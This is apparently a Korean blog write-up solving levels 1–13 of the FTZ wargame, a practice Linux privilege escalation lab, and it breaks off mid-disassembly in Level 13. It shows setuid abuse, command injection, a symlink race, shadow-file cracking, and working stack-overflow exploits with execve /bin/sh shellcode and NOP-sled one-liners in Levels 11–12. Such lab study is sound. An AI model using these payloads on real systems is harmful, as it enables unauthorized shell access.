Search
🏴‍☠️

FTZ 워게임

LEVEL 1

HINT

제공된 힌트 확인

해결

우선 파일을 찾기 때문에 find명령어를 사용해야한다. 하지만 LEVEL 2 권한이 설정된 파일만을 찾기 위해 옵션을 설정해주어야 한다.
설정한 옵션으로 /bin/ExecuteMe라는 파일을 찾을 수 있다.
💡
find / : 루트 디렉토리 (/) 부터 파일 검색 -user [user] : 파일의 소유주를 설정하여 검색 -perm [ [ - , / , + ] mode] : 주어진 접근 권한을 설정하여 검색 setuid가 지정된 파일은 맨 앞에 특수 비트 4가 붙기 때문에 4000을 포함하는 권한을가진 파일을 찾으면 된다. 2>/dev/null : 표준 에러 부분은 결과에 나타내지 않는다. 1>/dev/null : 표준 출력으로 정상적인 메세지를 출력
find / -user level2 -perm -4000 2>/dev/null
Bash
앞 과정에서 찾아낸 /bin/ExecuteMe 파일을 실행하면 LEVEL 2 유저의 권한으로 my-pass, chmod명령어를 제외한 다른 명령어를 실행해준다는 메세지를 보여주면서, 명령어를 입력받는다.
비밀번호를 알려주는 my-pass 명령어는 이 프로그램에선 사용할 수 없으므로, my-pass 명령어를 사용하기 위해 LEVEL 2 유저의 bash쉘을 실행해준다.
이후 whomai명령어로도 성공적으로 LEVEL 2 유저의 쉘인것을 확인하였다.
이제 my-pass명령어로 비밀번호를 확인할 수 있다.
FLAG
Flag is hacker or cracker

LEVEL 2

HINT

제공된 힌트 확인

해결

쉘의 명령을 실행시킨다고 힌트에 있었기 때문에, LEVEL 1과 마찬가지로 다음단계(LEVEL 3) 사용자로 setuid 한 파일을 이용하여 쉘을 얻어내고 패스워드를 알아내는 방법을 사용하면 될 것 같다.
find 명령어로 LEVEL1과 똑같이 검색해 보았고, 설정한 옵션으로 /usr/bin/editor 파일을 찾을 수 있었다.
파일을 실행해 보니 VIM 프로그램을 그대로 복사하여 LEVEL3으로 소유자만 바꾼 프로그램으로 추정된다.
기존의 사용하는 VIM 프로그램은 명령모드(ESC) 에서 :[명령어] 형태로 외부 명령어를 실행할 수 있다.
이 프로그램도 VIM파일을 그대로 복제한 프로그램으로 추정되니, 똑같이 외부 명령어를 실행해 보았다.
정상적으로 외부 명령어가 실행되었고, LEVEL 3의 권한으로 프로그램이 실행되기 때문에 whoami명령의 결과가
level3으로 출력된다.
whoami 명령어가 정상적으로 실행되었으므로, /bin/bash를 사용하여 쉘을 가져오도록 시도한다.
정상적으로 LEVEL 3 유저 권한의 쉘을 가져왔고, my-pass 시도가 가능해졌다.
이제 my-pass명령어로 비밀번호를 확인할 수 있다.
FLAG
Flag is can you fly?

LEVEL 3

HINT

제공된 힌트 확인

해결

이번 문제의 HINT는 3가지 이다.
1.
autodig 소스코드
2.
동시에 여러 명령어 사용
3.
문자열 형태로 명령어 전달
우선 autodig의 소스코드를 분석해보자
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv){ char cmd[100]; // 1개의 인자를 받는다. if( argc!=2 ){ printf( "Auto Digger Version 0.9/n" ); // autodig [host] 형태로 명령어를 실행하는 것을 알 수 있다. printf( "Usage : %s host/n", argv[0] ); exit(0); } // 만약 host로 127.0.0.1을 입력했을 경우 // autodig 프로그램에서 "dig @127.0.0.1 version.bind chaos txt" 로 dig 명령어를 실행하는 구조 strcpy( cmd, "dig @" ); strcat( cmd, argv[1] ); strcat( cmd, " version.bind chaos txt"); system( cmd ); }
C
우선 서버 내부에 이전 단계들처럼 상위 단계로 소유자가 설정되어 있는 파일이 존재하는지 확인한다.
앞서 힌트에서 언급된 autodig파일이 발견되었다. 즉, autodig파일을 사용하여 쉘을 얻어야 한다.
우선 제공된 autodig파일을 정상적인 방법으로 실행해 보았다. 입력한 host를 사용하여 dig명령어를 실행해보는 모습을 볼 수 있다.
그런데 다른 동작은 크게 하지 않는다.
💡
dig 명령어dns query lookup을 하기 위한 bind-utils 패키지에 속해 있는 유틸리티이다. nslookup 대신 dig으로 명령어를 대체하여 사용하는 중이라고 한다.
이번에는 동시에 다른 명령어를 실행하기 위해 ';'을 삽입하여 /bin/bash같이 실행되도록 시도하였다.
하지만 생각과는 다르게 LEVEL 4 유저의 쉘을 얻어오지 못하였다.
2가지의 힌트를 사용하였지만 성공하지 못하였다. 이제 마지막 방법을 사용해보아야 한다.
autodig 소스코드
동시에 여러 명령어 사용
문자열 형태로 명령어 전달
문자열 형태로 명령어를 전달하기 위해, 인자를 ""로 감싸서 전달하였다. 정상적으로 LEVEL 4 유저의 쉘을 얻어온 것을 확인하였다.
이제 my-pass명령어로 비밀번호를 확인할 수 있다.
FLAG
Flag is suck my brain

LEVEL 4

HINT

제공된 힌트 확인

해결

힌트에서 알려주는 /etc/xinetd.d/ 폴더는 인터넷 슈퍼 데몬 xinetd의 서비스들의 설정 파일이 모여있는 곳이다.
💡
슈퍼 데몬이란? 슈퍼데몬들은 각 데몬들을 제어하면서 각각의 서비스들의 연결을 담당한다.
xinetd 실행 예시
예시로 telnet 서비스를 사용한다면, xinetd에 허가된 사용자인지 확인한다. 이후, /etc/xinetd.d/ 폴더의 telnet 설정 파일에 정의되어 있는 telnet 서비스 데몬과 연결되어 사용하는 것이다.
우선 /etc/xinetd.d/ 폴더에 생성된 backdoor파일을 확인하였다.
backdoor파일 속에는 finger라는 서비스의 설정파일이 작성되어 있었다.
우선 같은 경로에 있는 정상적인 finger설정파일을 확인한다.
backdoor파일은 정상적인 finger 서비스 설정 파일에 없는 'flags', 'log_on_failure' 속성이 작성되어 있다.
flags 속성이 REUSE 상태일 경우 포트가 사용중(TIME_WAIT)의 경우에도 재 이용할 수 있도록 하는 속성이다.
log_on_failure속성은 여러 이유로 서비스를 실행하지 못하였을 경우 기록될 값들을 지정한다. USERID같은 경우는 원격 사용자의 ID를 기록한다.
이외에도 user, disable 속성의 값도 다르다.
user 속성은 서버 프로세스를 실행할 수 있는 사용자의 ID이며, 슈퍼유저일 경우에만 효과를 낼 수 있다.
정상적인 finger 설정파일은 동작하지 않도록 disable 속성이 yes로 설정되어 있다. 하지만 backdoor설정파일은 disable 속성이 no로 설정되어 있다.
이제 finger서비스를 실행하면 backdoor설정파일에 설정된 server 속성에 따라 /home/level4/tmp/backdoor 파일이 실행이 되도록 설정되어 있다.
하지만 finger 명령어를 사용하여도 아무런 동작을 하지 않았다.
finger 서비스 사용법
finger : 현재 시스템에 로그인되어 있는 사용자들을 보여준다.
finger [user] : finger는 로컬에 접속하게 된다.
finger @[host] : 해당 서버의 접속해 있는 모든 유저의 정보를 출력한다.
finger [user]@[host] : 원격 서버의 사용자 계정 정보를 확인한다.
원인은 단순하게도, /home/level4/tmp/backdoor 이 파일이 존재하지 않았기 때문이었다.
이후 finger 서비스 실행 시 동작될 backdoor프로그램을 간단하게 만들었다.
정상적으로 동작한다면 whoami 명령어가 실행될 것이다.
성공적으로 LEVEL 5의 권한으로 whoami 명령어가 동작한것을 확인할 수 있다.
backdoor 파일의 동작 명령어를 whoami 가 아닌 my-pass로 설정한다면 비밀번호를 알 수 있을 것이다.
이제 finger 명령어를 다시 실행하면 비밀번호를 확인할 수 있다.
FLAG
Flag is what is your name?

LEVEL 5

HINT

제공된 힌트 확인

해결

임시파일을 사용한 공격은 생각이 잘 나지 않아 자료를 찾아 보았다.
레이스 컨디션 공격 이라는 공격을 찾아내었고 개념을 공부하였다.
레이스 컨디션 이란?
💡
한정된 자원동시에 이용하려는 여러 프로세스가 자원의 이용을 위해 경쟁을 벌이는 현상이다.
레이스 컨디션 공격의 기본 개념
레이스 컨디션 공격을 간략히 나타낸 그림이다
우선 임시파일이 생성되는지 확인하기 위해 /usr/bin/level5을 동작시켰지만, level5.tmp는 생성되지 않았다.
즉, 자체적으로 임시파일을 삭제하는 것을 알 수 있다.
하지만 힌트에서 임시파일의 이름은 level5.tmp라고 알려주었기 때문에 바로 공격이 가능하다.
임시파일을 생성하자마자 삭제하기 때문에, 심볼릭 링크 생성이 /usr/bin/level5와 거의 동시에 동작되어야 한다.
/usr/bin/level5 프로그램과 심볼릭링크를 생성을 동시에 하는 명령어를 반복적으로 실행시키는 코드를 작성한다.
이 프로그램을 실행하기 전, 임시파일이 지워지기 전에 내용을 받기 위해 passwd 파일과 심볼릭 링크를 미리 생성하고 동작시킨다.
무한반복으로 프로그램을 작성하였기 때문에, 어느정도 시간이 지나면 CTRL + Z 로 프로그램을 중단해준다.
이제 passwd 파일에 데이터가 작성된것을 확인할 수 있다. (쉘 코드 BYTE)
이제 passwd파일로 비밀번호를 확인할 수 있다.
FLAG
Flag is what the hell
LEVEL 5 Race Condition 동작 과정
LEVEL 5 의 동작 과정을 요약한 그림이다.

LEVEL 6

HINT

제공된 힌트 확인

해결

처음엔 전혀 감을 잡지 못하였다. 우선 힌트의 내용을 검색해보았는데 다 해설 뿐이라 고민중이었다.
그래서 이것저것 누르다가 CTRL + C 를 눌렀는데 바로 종료가 되었다.
그게 전부였고, 이 위치에 password라는 파일도 있었다. 나중에 확인해보니 Interrupt 개념이 필요한 단순한 문제였다고 한다.
password파일로 비밀번호를 확인할 수 있다.
FLAG
Flag is come together

LEVEL 7

HINT

제공된 힌트 확인

해결

/bin/level7파일을 실행하면 패스워드를 입력받는데, 잘못된 패스워드 인지 에러가 발생한다.
이 에러도 /bin/wrong.txt cat명령어로 읽기를 요청하였을 때, 파일이 존재하지 않는다는 에러이다.
그래서 한번 확인해보기로 했다.
/bin/wrong.txt 존재하지 않는 파일이었고, 혹시 몰라서 한번 만들어 보려고 했으나 해당 경로는 root 계정만이 파일을 작성할 수 있는 권한이 있기 때문에, LEVEL 7 유저로는 더 이상 방법이 생각나지 않았다.
그 이후, 블로그의 해답을 보니 FTZ 서버의 문제로 원래는 잘못된 패스워드 입력 시 /bin/wrong.txt 파일의 내용이 출력되어야 하는데, 로컬 서버로 문제를 풀던 사람들은 모두 이 부분에서 막혔었다고 한다.
그래서 인터넷에서 wrong.txt 파일의 내용을 얻어왔다.
wrong.txt 파일 내용
Can't Password. Near the Password! --_--_- --____- ---_-__ --__-_-
Plain Text
처음 보았을땐 모스부호가 생각났다. 일단 중간에 공백을 기준으로 4등분하였다. -를 1로, _를 0으로 바꾸어 보았다.
# 2진수 1101101 1100001 1110100 1100101 # 10진수 109 97 116 101
Plain Text
아스키코드 같다는 느낌을 강하게 받았다. 한번 아스키 코드표를 보며 확인해 보았다. mate라는 단어가 나왔다.
# 10진수 109 97 116 101 # ASCII m a t e
Plain Text
/bin/level7파일을 다시 실행하여 mate 문자를 입력하면 비밀번호를 확인할 수 있다.
FLAG
Flag is break the world

LEVEL 8

HINT

제공된 힌트 확인

해결

힌트에 따르면 LEVEL 9 유저의 shadow파일이 서버 어딘가에 있고, 용량이 2700이라는 힌트를 주었다.
shadow파일로 LEVEL 9 유저의 패스워드를 알 수 있다.
우선 find 명령어로 서버에 용량이 2700인 파일이 있는지 확인하였다. 하지만 힌트와는 다르게 존재하는 파일목록이 나타나지 않았다.
이후 조금 헤매다가 find 명령어로 파일 크기를 설정할 때, 단위를 설정할 수 있는것을 확인하였다.
데이터 크기단위를 BYTE로 설정하여 검색해보니 파일 목록이 나타난 것을 확인할 수 있다.
find 명령어 -size 옵션 단위 목록
💡
b : block(512byte) 단위 c : byte 단위 k : kbyte 단위 w : word(2byte) 단위 m : mbyte 단위 g : gbyte 단위
일단 파일의 내용을 읽을만한 /etc/rc.d/found.txt 파일을 cat 명령어로 내용을 확인하였다.
힌트대로 LEVEL 9 유저에 대한 shadow 파일의 내용들이 작성되어 있었다.
shadow 파일의 구조
shadow 파일은 :로 총 9개의 영역으로 나뉜다.
shadow 파일의 구조
Search
속성
설명
Encrypted
Open
패스워드를 암호화 시킨 값
Last Changed
Open
1970년 1월 1일부터 패스워드가 수정된 날짜의 일수를 계산
Minimum
Open
패스워드가 변경되기 전 최소 사용기간(일)
Maximum
Open
패스워드 변경 전 최대 사용기간(일)
Warm
Open
패스워드 사용 만기일 전 경고 메세지를 제공하는 기간(일)
Inactive
Open
로그인 접속차단 기간(일)
Expire
Open
로그인 사용을 금지하는 기간(일)
Reserved
Open
예약된 공간 / 사용 X
COUNT9
John the Ripper
John the Ripper 사용법
john [option] [password file]
Bash
john 프로그램을 사용하기 위해 /etc/rc.d/found.txt의 한줄을 가져와 shadow.txt 파일로 작성하였다.
john -show shadow.txt 명령어로 비밀번호를 확인할 수 있다.
FLAG
Flag is apple

LEVEL 9

HINT

제공된 힌트 확인

해결

/usr/bin/bof 프로그램의 소스를 분석해보았다.
#include <stdio.h> #include <stdlib.h> #include <unistd.h> main(){ char buf2[10]; char buf[10]; printf("It can be overflow : "); //BOF 발생이 가능한 취약한 함수 사용 fgets(buf,40,stdin); // 만약 buf2의 가장 앞 두 글자가"go" 일 경우 if ( strncmp(buf2, "go", 2) == 0 ) { printf("Good Skill!/n"); //LEVEL 10 유저의 쉘 획득 setreuid( 3010, 3010 ); system("/bin/bash"); } }
C
실행을 하면 문자열을 입력 받고 조건에 맞지 않으면 종료하는 간단한 프로그램이다.
fgets 함수를 사용하여 buf에 할당된 길이를 넘어가는 문자를 입력하면 buf2 부분에 덮어씌워지게 된다.
하지만 버퍼들 사이에 몇 바이트의 dummy가 있는지 알 수 없기 때문에 gdb로 main을 확인해보아야 한다.
gdb를 사용하여 main을 확인해보려고 했으나, 권한부족으로 실행하지 못하였다.
코드를 복사하여 테스트 프로그램으로 시도해보아도 "NO symbol table is loaded. Use the "file" command."라는 문자열만 발생하며 진행하지 못하였다.
그래서 버퍼의 크기도 작기 때문에 손으로 입력하면서 시도해보았다. 입력하는 문자열은 다음과 같이 구성하였다.
💡
"A"10번 + "A" ?번 (버퍼간 dummy 채우기) + "go" (buf2 맨 앞에 들어가는 문자)
총 16개의 "A" 문자와 "go" 문자로 구성된 문자열을 입력하니 BOF가 성공적으로 동작하였다.
이제 my-pass명령어로 비밀번호를 확인할 수 있다.
FLAG
Flag is interesting to hack!

LEVEL 10

HINT

제공된 힌트 확인

해결

공유 메모리와 key_t 내용은 잘 알지 못하여 자료를 찾아보았다.
공유메모리란?
💡
여러 프로세스에서 동시에 접근할 수 있는 메모리데이터 복사와 같은 오버헤드가 발생하지 않아서 속도가 빠르다. key_t 는 공유 메모리를 구별하는 식별 번호(공유 메모리의 위치)
key_t의 식별 번호로 구분하여 메모리를 동시에 접근하는 방식을 사용하는 것 같다.
관련 자료를 더 찾아보면서 접근하기 위한 소스코드를 만들었다.
#include <stdio.h> #include <sys/shm.h> #include <sys/ipc.h> #include <sys/types.h> int main() { int shmid; char* shared_memory; // shmget() : key_t을 접근번호로 하는 공유 메모리 공간 할당을 요청 // key_t : 7530 // int shmget(key_t key, size_t size, int shmflg); // shmflg : 공유메모리의 flag값으로 이 공유메모리의 권한과 생성시 옵션을 줄 수가 있다. // - IPC_CREAT : 공유 메모리 생성 // - 0666 : 공유 메모리 사용 권한 shmid = shmget(7530,1024,IPC_CREATE | 0666); // shmat() : shmget() 함수를 통해 얻은 값을 활용해 공유 메모리 세그먼트를 붙이기 위해 사용 // 성공 시, attach된 shared memory segment를 반환 shared_memory = shmat(shmid, NULL, 0); // %p로 주소를 확인하거나, %s로 해당 주소에 들어있는 값을 확인할 수 있다. printf("%s/n",shared_memory); // shmdt() : 프로세스에서 공유메모리를 분리하는 함수 shmdt(shared_memory); return 0; }
C
작성된 소스코드를 실행하면 비밀번호를 확인할 수 있다.
FLAG
Flag is what!@#$?

LEVEL 11

HINT

제공된 힌트 확인

해결 (방법1)

힌트에서 소스코드만 보여주었다. 이는 같은 위치에 있는 attackme 프로그램의 소스코드로 추측된다. 확실하게 확인하기 위해 attackme 프로그램을 실행해보았다.
소스코드의 내용과 동일한 동작을 수행하기 때문에 attackme의 소스코드와 힌트의 내용이 같다고 생각하였다.
더 확실히 확인하기 위해서 attackmegdb프로그램을 사용하여 디버깅 하였다.
권한문제로 코드를 복사하여 같은 이름의 테스트 프로그램으로 디버깅 하였으며 set disassembly-flavor intel명령어로 인텔의 문법을 적용하였다.
메인부분을 어셈블리로 분석하여 공격에 필요한 메모리 구조를 확인하였다.
RET를 변조하기 위해선 str에 총 268byte 이상의 문자가 들어가야 하며 268byte 문자 + 변조 RET 4byte 형태로 입력해야 한다는 것을 확인하였다.
0x08048470 <main+0>: push ebp 0x08048471 <main+1>: mov ebp,esp # 0x108 (264byte 공간 사용) # str에게 256byte를 할당해주었으므로, 8byte의 dummy 포함한다. 0x08048473 <main+3>: sub esp,0x108 # 메모리 구조 # |낮은주소| | str[256byte] | dummy[8byte] | SFP(4byte) | RET(4byte)| |높은주소| # 총 272byte ### setreuid 함수 사용으로 스택 확보 / push / call / 스택 복원 ### 0x08048479 <main+9>: sub esp,0x8 0x0804847c <main+12>: push 0xc14 0x08048481 <main+17>: push 0xc14 0x08048486 <main+22>: call 0x804834c <setreuid> 0x0804848b <main+27>: add esp,0x10 ################################################################ # argv 부분 0x0804848e <main+30>: sub esp,0x8 0x08048491 <main+33>: mov eax,DWORD PTR [ebp+12] 0x08048494 <main+36>: add eax,0x4 ### strcpy 함수 사용으로 스택 확보 / push / call / 스택 복원 ### 0x08048497 <main+39>: push DWORD PTR [eax] 0x08048499 <main+41>: lea eax,[ebp-264] # str 버퍼 0x0804849f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x10 ################################################################ ### printf 함수 사용으로 스택 확보 / push / call / 스택 복원 ### 0x080484a8 <main+56>: sub esp,0xc 0x080484ab <main+59>: lea eax,[ebp-264] 0x080484b1 <main+65>: push eax 0x080484b2 <main+66>: call 0x804833c <printf> 0x080484b7 <main+71>: add esp,0x10 ################################################################ 0x080484ba <main+74>: leave 0x080484bb <main+75>: ret 0x080484bc <main+76>: nop 0x080484bd <main+77>: nop 0x080484be <main+78>: nop 0x080484bf <main+79>: nop End of assembler dump.
WebAssembly
우선 입력값의 길이를 확인하였으니, 입력 후 확실히 변조되는지 확인하기 위해서 strcpy함수가 끝난 직후의 위치인 <main+53>에 브레이크 포인트를 설정한다.
이후 파일의 동작을 시도한다.
# gdb Break Point 설정 (gdb) b*[위치] #<main+53> 위치에 브레이크 포인트를 설치한다. (gdb) b*main+53
Bash
하지만 이 프로그램은 인자가 필요한 프로그램이기 때문에, gdb에서 인자를 입력하고 시작해야 한다.
python을 사용하면 긴 문자를 인자로 삽입할 수 있다.
gdb 인자 삽입 후 실행 (run 명령어 + python 코드)
(gdb) r`python -c 'print ~~~'`
Bash
실행 후, 정상적으로 브레이크 포인트가 작동되었고, 값도 설정된 것을 확인할 수 있다.
# gdb 메모리 값 확인 (gdb) x [주소] (gdb) x/[보여줄 단위(DWORD)]x [주소] (gdb) x/16x $esp
Bash
ebp, esp를 확인하여도 0x42424242주소로 변조된 것을 확인할 수 있다.
이제 실제 변조를 위해 인자를 다르게 입력한다. 쉘 코드는 인터넷에서 따온 25byte 쉘코드 이다.
이 쉘 코드를 사용하면 /bin/sh 쉘을 얻어올 수 있다.
NOP (243byte) + SHELLCODE (25byte) + NOP위치 주소 4byte
./attackme `python -c 'print "/x90" * 243 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x40\xe4\xff\xbf"'`
Bash
하지만 Segmentation fault 에러가 뜨면서 정상적으로 동작하지 않는다.
분명히 RET부분도 잘 변조 된다고 확인하였는데 왜 안되는지 원인을 찾기 위해 디버깅을 시도하였다.
원인은 주소 변경이 원인이었다. 메모리의 취약점을 막기 위해 ASLR이라는 보호 기법이 적용된 상태여서 주소가 매번 바뀐 것이었다.
ASLR이란?
💡
공유 라이브러리, 스택 및 힙이 매핑되는 메모리 영역의 주소를 임의로 배치하여 메모리를 보호하는 보호기법이다.
다시 디버깅을 하면서 재시작이 되었고, NOP 시작 위치가 이전에 설정한 주소가 아닌 다른 주소로 바뀌었다.
이전 디버깅에서 0xbfffe440으로 설정된 것을 확인하고 RET부분에 설정하였는데, 지금은 0xbfffe1c0 주소로 바뀌어 있다.

해결 (방법2)

수동적으로 RET부분에 쉘 코드로 접근을 위한 정확한 주소를 직접적으로 넣기가 어렵다.
따라서 이번엔 NOPSled 기법을 사용하여 쉘 코드 동작을 시도해보았다.
NOPSled 기법이란?
💡
ASLR이 다른 랜덤한 주소로 매핑된다는 점을 노려, RET와 쉘 코드 사이에 방대한 양의 NOP문자로 덮어씌운다. 그 이후 여러번의 공격 시도로 NOP 구간안으로 주소가 매핑이 된다면 NOP코드를 타고 쉘 코드를 실행하는 공격법이다.
LEVEL 12 NOPSled PAYLOAD
[문자] * (버퍼 ~ SFP 까지 바이트 수) + “/x??/x??/x??/x??” (RET를 근처 아무주소로 변조하여 ASLR 발생 유도)+ NOP * (1000이상의 높은 숫자) + SHELLCODE
./attackme `python -c 'print "\x41" * 268 + "\x40\xe4\xff\xbf"+"\x90" * 1500 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
Bash
10번 내외로 시도하여 쉘을 얻어낸는데 성공하였다. whoami 명령어를 통해 LEVEL 12 유저라는것을 확인하였다.
이제 my-pass명령어로 비밀번호를 확인할 수 있다.
FLAG
Flag is it is like this

해결 (방법3)

환경변수를 사용하여 쉘 코드를 실행시키는 방법도 있다.
export를 통해 환경변수를 등록한 후, 설정한 환경변수의 주소를 알아내어 메모리의 RET부분 주소로 설정해주면 쉘코드 실행이 가능하다.
환경변수의 주소는 스택의 높은 위치에 위치하며 변동이 적다는점을 이용한 공격법이다.
export SHELL_CODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
Bash
env 명령어로 쉘 코드를 담는 SHELL_CODE 환경변수가 정상적으로 등록된 것을 확인할 수 있다.
다음으로 환경변수의 주소를 알아내는 소스코드를 작성해야 한다. getenv함수를 사용하여 환경변수의 주소 값을 얻을 수 있다.
작성한 소스코드로 만들어진 프로그램으로 SHELL_CODE 환경변수의 주소를 알아낼 수 있다.
이제 RET부분의 주소를 쉘 코드가 저장된 SHELL_CODE 환경변수의 주소로 설정해주어 공격을 시도한다.
./attackme `python -c 'print "A"*268 + "\x1c\xff\xff\xbf"'`
Bash
성공적으로 환경변수의 쉘 코드를 동작하여 LEVEL12 유저의 쉘을 얻는데 성공하였다.
이제 my-pass명령어로 비밀번호를 확인할 수 있다.
FLAG
Flag is it is like this

LEVEL 12

HINT

제공된 힌트 확인

해결

LEVEL 11과 똑같이 힌트에서 소스코드만 보여주었다.
이전과 같이 같은 위치에 있는 attackme 프로그램의 소스코드로 추측되며, 확인하기 위해 attackme 프로그램을 실행해보았다.
소스코드의 내용과 동일한 동작을 수행하기 때문에 attackme소스코드와 힌트의 내용이 같다고 생각하였다.
더 확실히 확인하기 위해서 attackmegdb프로그램을 사용하여 디버깅 하였다.
권한문제로 코드를 복사하여 같은 이름의 테스트 프로그램으로 디버깅 하였으며 set disassembly-flavor intel명령어로 인텔의 문법을 적용하였다.
메인부분을 어셈블리로 분석하여 공격에 필요한 메모리 구조를 확인하였다.
RET를 변조하기 위해선 str총 268byte 이상의 문자가 들어가야 하며 268byte 문자 + 변조 RET 4byte 형태로 입력해야 한다는 것을 확인하였다.
0x08048470 <main+0>: push ebp 0x08048471 <main+1>: mov ebp,esp # 0x108 (264byte 공간 사용) # str에게 256byte를 할당해주었으므로, 8byte의 dummy 포함한다. 0x08048473 <main+3>: sub esp,0x108 # 메모리 구조 # |낮은주소| | str[256byte] | dummy[8byte] | SFP(4byte) | RET(4byte)| |높은주소| # 총 272byte # setreuid 함수 사용으로 스택 확보 / push / call / 스택 복원 0x08048479 <main+9>: sub esp,0x8 0x0804847c <main+12>: push 0xc15 0x08048481 <main+17>: push 0xc15 0x08048486 <main+22>: call 0x804835c <setreuid> 0x0804848b <main+27>: add esp,0x10 ############################################################# # printf 함수 사용으로 스택 확보 / push / call / 스택 복원 0x0804848e <main+30>: sub esp,0xc 0x08048491 <main+33>: push 0x8048538 0x08048496 <main+38>: call 0x804834c <printf> 0x0804849b <main+43>: add esp,0x10 ############################################################# # gets 함수 사용으로 스택 확보 / push / call / 스택 복원 0x0804849e <main+46>: sub esp,0xc # str 버퍼 0x080484a1 <main+49>: lea eax,[ebp-264] 0x080484a7 <main+55>: push eax 0x080484a8 <main+56>: call 0x804831c <gets> 0x080484ad <main+61>: add esp,0x10 ############################################################# # printf 함수 사용으로 스택 확보 / push / call / 스택 복원 0x080484b0 <main+64>: sub esp,0x8 0x080484b3 <main+67>: lea eax,[ebp-264] 0x080484b9 <main+73>: push eax 0x080484ba <main+74>: push 0x804854c 0x080484bf <main+79>: call 0x804834c <printf> 0x080484c4 <main+84>: add esp,0x10 ############################################################# 0x080484c7 <main+87>: leave 0x080484c8 <main+88>: ret 0x080484c9 <main+89>: lea esi,[esi] 0x080484cc <main+92>: nop 0x080484cd <main+93>: nop 0x080484ce <main+94>: nop 0x080484cf <main+95>: nop End of assembler dump.
WebAssembly
LEVEL 11번과 똑같은 바이트로 버퍼에 공간을 할당해주었고, dummy 공간또한 크기가 8byte로 똑같다.
LEVEL 11번에서 공격에 성공했던 NOPSled 기법과 환경변수를 사용한 공격법으로 공격을 시도하였다.
NOPSled 기법
이전과 다르게 인자로 값을 넘기는 방식이 아닌 프로그램 동작 후 문자열을 받아오는 방식이기 때문에 공격을 시도하는 명령어도 변경해야 한다.
# cat 명령어를와 파이프 라인을 사용하여 입력처리가 가능하다. (python -c 'print "\x41" * 268 + "\x40\xe4\xff\xbf"+"\x90" * 1500 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"';cat) | ./attackme
Bash
보통 10번 내외로 시도하면 쉘을 얻어올 수 있다. "Sementation fault" 오류가 발생하지 않는다면 성공한 것이다.
환경변수를 사용한 공격기법
우선 쉘 코드 작동을 위한 환경변수를 등록한 후, SHELL_CODE 환경변수의 주소를 확인한다. 0xbfffff1c 주소인것을 확인하였다.
이전과 다르게 인자로 값을 넘기는 방식이 아닌 프로그램 동작 후 문자열을 받아오는 방식이기 때문에 공격을 시도하는 명령어도 변경해야 한다.
(python -c 'print "A"*268 + "\x1c\xff\xff\xbf"';cat) | ./attackme
Bash
이 방법은 여러 번의 시도 없이 바로 쉘을 얻어올 수 있다. "Sementation fault" 오류가 발생하지 않는다면 성공한 것이다.
이제 my-pass명령어로 비밀번호를 확인할 수 있다.
FLAG
Flag is have no clue

LEVEL 13

HINT

제공된 힌트 확인

해결

이전 단계들과 똑같이 힌트에서 소스코드만 보여주었다. 이전과 같이 같은 위치에 있는 attackme 프로그램의 소스코드로 추측되며, 확인하기 위해 attackme 프로그램을 실행해보았다.
소스코드의 내용과 동일한 동작을 수행하기 때문에 attackme의 소스코드와 힌트의 내용이 같다고 생각하였다.
메세지 출력은 미리 설정한 i변수가 값이 바뀌었을 때만 출력된다. 버퍼오버플로우로 인한 변조를 막기 위해 버퍼와 함께 선언한 것으로 보인다.
더 확실히 확인하기 위해서 attackmegdb프로그램을 사용하여 디버깅 하였다.
권한문제로 코드를 복사하여 같은 이름의 테스트 프로그램으로 디버깅 하였으며 set disassembly-flavor intel명령어로 인텔의 문법을 적용하였다.
메인부분을 어셈블리로 분석하여 공격에 필요한 메모리 구조를 확인하였다.
RET를 변조하기 위해선 str에 총 1052byte 이상의 문자가 들어가야 하며 1036byte 문자 + "0x1234567" + 12byte문자 + 변조 RET 4byte 형태로 입력해야 한다는 것을 확인하였다.
0x080484a0 <main+0>: push ebp 0x080484a1 <main+1>: mov ebp,esp # 0x408 (1048byte 공간 사용) # buf에게 1024byte 할당해준것을 생각해야 한다. # i 변수와의 거리도 생각해보자 0x080484a3 <main+3>: sub esp,0x418 # 초기 값 0x1234567로 선언된 i 변수 선언 부분이다. ebp-12 위치에 4byte 할당되어 있다. 0x080484a9 <main+9>: mov DWORD PTR [ebp-12],0x1234567 # 메모리 구조 # | buf[1024byte] | dummy[12byte] | i[4byte] | dummy[8byte] | SFP(4byte) | RET(4byte)| # 총 1056byte ### setreuid 함수 사용으로 스택 확보 / push / call / 스택 복원 ### 0x080484b0 <main+16>: sub esp,0x8 0x080484b3 <main+19>: push 0xc16 0x080484b8 <main+24>: push 0xc16 0x080484bd <main+29>: call 0x8048370 <setreuid> 0x080484c2 <main+34>: add esp,0x10 ################################################################ # argc 확인 조건문 0x080484c5 <main+37>: cmp DWORD PTR [ebp+8],0x1 0x080484c9 <main+41>: jle 0x80484e5 <main+69> ### strcpy 함수 사용으로 스택 확보 / push / call / 스택 복원 ### 0x080484cb <main+43>: sub esp,0x8 # argv 부분 0x080484ce <main+46>: mov eax,DWORD PTR [ebp+12] 0x080484d1 <main+49>: add eax,0x4 0x080484d4 <main+52>: push DWORD PTR [eax] 0x080484d6 <main+54>: lea eax,[ebp-1048] 0x080484dc <main+60>: push eax 0x080484dd <main+61>: call 0x8048390 <strcpy> 0x080484e2 <main+66>: add esp,0x10 ################################################################ # i 초기 값(0x1234567)이 변했는지 확인 0x080484e5 <main+69>: cmp DWORD PTR [ebp-12],0x1234567 0x080484ec <main+76>: je 0x804850d <main+109> # i 값이 변하였다면 Buffer Overflow 시도 경고문 출력 후, 프로그램 종료 ### printf 함수 사용으로 스택 확보 / push / call / 스택 복원 ### 0x080484ee <main+78>: sub esp,0xc 0x080484f1 <main+81>: push 0x80485a0 0x080484f6 <main+86>: 